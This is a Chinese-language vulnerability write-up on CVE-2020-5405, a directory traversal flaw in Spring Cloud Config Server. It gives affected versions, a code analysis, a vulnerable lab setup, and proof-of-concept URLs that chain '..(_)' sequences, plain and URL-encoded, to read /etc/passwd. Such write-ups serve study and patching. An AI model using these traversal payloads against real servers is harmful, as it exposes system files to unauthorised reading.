menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-5405)Spring Cloud Config Server 目录穿越漏洞 chevron_right (CVE-2020-5405)Spring Cloud Config Server 目录穿越漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-5405)Spring Cloud Config Server 目录穿越漏洞.md
    4.56 KB / 2021-07-15 20:04:16
        (CVE-2020-5405)Spring Cloud Config Server 目录穿越漏洞
    ========================================================
    
    一、漏洞简介
    ------------
    
    Spring Cloud
    Config为分布式系统的外部配置提供客户端的服务端的支持。使用了它,开发人员就可以在一个中心仓库管理应用程序在所有环境中的外部配置。2020-02-26
    Spring 收到漏洞报告, Spring Cloud Config Server 存在目录穿越漏洞。
    
    二、漏洞影响
    ------------
    
    Spring Cloud Config Server 2.2.0-2.2.1
    
    Spring Cloud Config Server 2.1.0-2.1.6
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    其实往前看有个替换的操作,很显眼
    
    ![](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId25.png)
    
    name和label的`(_)`会被替换成`/`,看到这里,我尝试构造poc
    
        http://www.0-sec.org:8888/aaaa/aaaa/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%65%74%63/passwd
    
    我们让label为`..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc`,path为`passwd`,这样拼接完应该是`file:/xxx/xxx/xxx/../../../../../etc/passwd`
    
    但是如果label不为master的话,代码逻辑就会先去checkout,然后就异常了
    
    这里面会导致抛出异常,具体抛出异常的点在哪呢,在`org.springframework.cloud.config.server.environment.MultipleJGitEnvironmentRepository`
    
    ![](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId26.png)
    
    在CVE-2019-3799中,我们使用的配置是常用的`spring.cloud.config.server.git.uri`,它会选择使用`MultipleJGitEnvironmentRepository.class`的getLocations,然后就会走到checkout,抛出异常了,那么我们怎么去不走checkout逻辑呢。
    
    通过翻文档[https://zq99299.github.io/note-book/spring-cloud-tutorial/config/002.html\#%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6%E5%90%8E%E7%AB%AF%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F](https://zq99299.github.io/note-book/spring-cloud-tutorial/config/002.html#版本控制后端文件系统)
    
    得知这个配置是让它从本地进行加载,而不是用git,通过在application.properties配置
    
        spring.profiles.active=native
        spring.cloud.config.server.native.search-locations=file:/Users/p0desta/Desktop
    
    其实通过补丁我们也可以发现端倪
    
    ![](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId28.png)
    
    配置后重新跟进调试
    
    ![](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId29.png)
    
    然后就在`/org/springframework/cloud/config/server/environment/NativeEnvironmentRepository.class@getLocations`中对路径进行了处理,大致就是对路径进行拼接,然后存在ouput数组中,返回一个新的Locations对象
    
    ![](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId30.png)
    
    然后后面就是跟CVE-2019-3799一样,直接读文件了。
    
    ### 漏洞复现
    
    下载官方Spring Cloud
    Config,具体版本`versions 2.1.5.RELEASE`,下载地址为:
    
        https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip
    
    导入IDEA项目
    
    ![1.png](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId32.png)
    
    修改配置文件`src/main/resources/configserver.yml`
    
        info:
          component: Config Server
        spring:
          application:
            name: configserver
          autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
          jmx:
            default_domain: cloud.config.server
          profiles:
            active: native
          cloud:
            config:
              server:
                native:
                  search-locations:
                    - file:///Users/rai4over/Desktop/spring-cloud-config-2.1.5/config-repo
    
        server:
          port: 8888
        management:
          context_path: /admin
    
    设置`profiles-active`为`native`,设置`search-locations`为任意文件夹。
    
    主文件入口位置为`org.springframework.cloud.config.server.ConfigServerApplication`,运行`spring-cloud-config-server`模块,环境开启成功运行在`127.0.0.1:8888`。
    
    ### POC
    
        https://www.0-sec.org:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd
    
    URL编码变形
    
        https://www.0-sec.org:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29etc/passwd
    
    返回结果
    
    ![2.png](./resource/(CVE-2020-5405)SpringCloudConfigServer目录穿越漏洞/media/rId34.png)
    
    参考链接
    --------
    
    > http://p0desta.com/2020/04/16/spring-cloud-config%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/\#CVE-2020-5405%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
    >
    > https://xz.aliyun.com/t/8303
    
    
    links
    file_download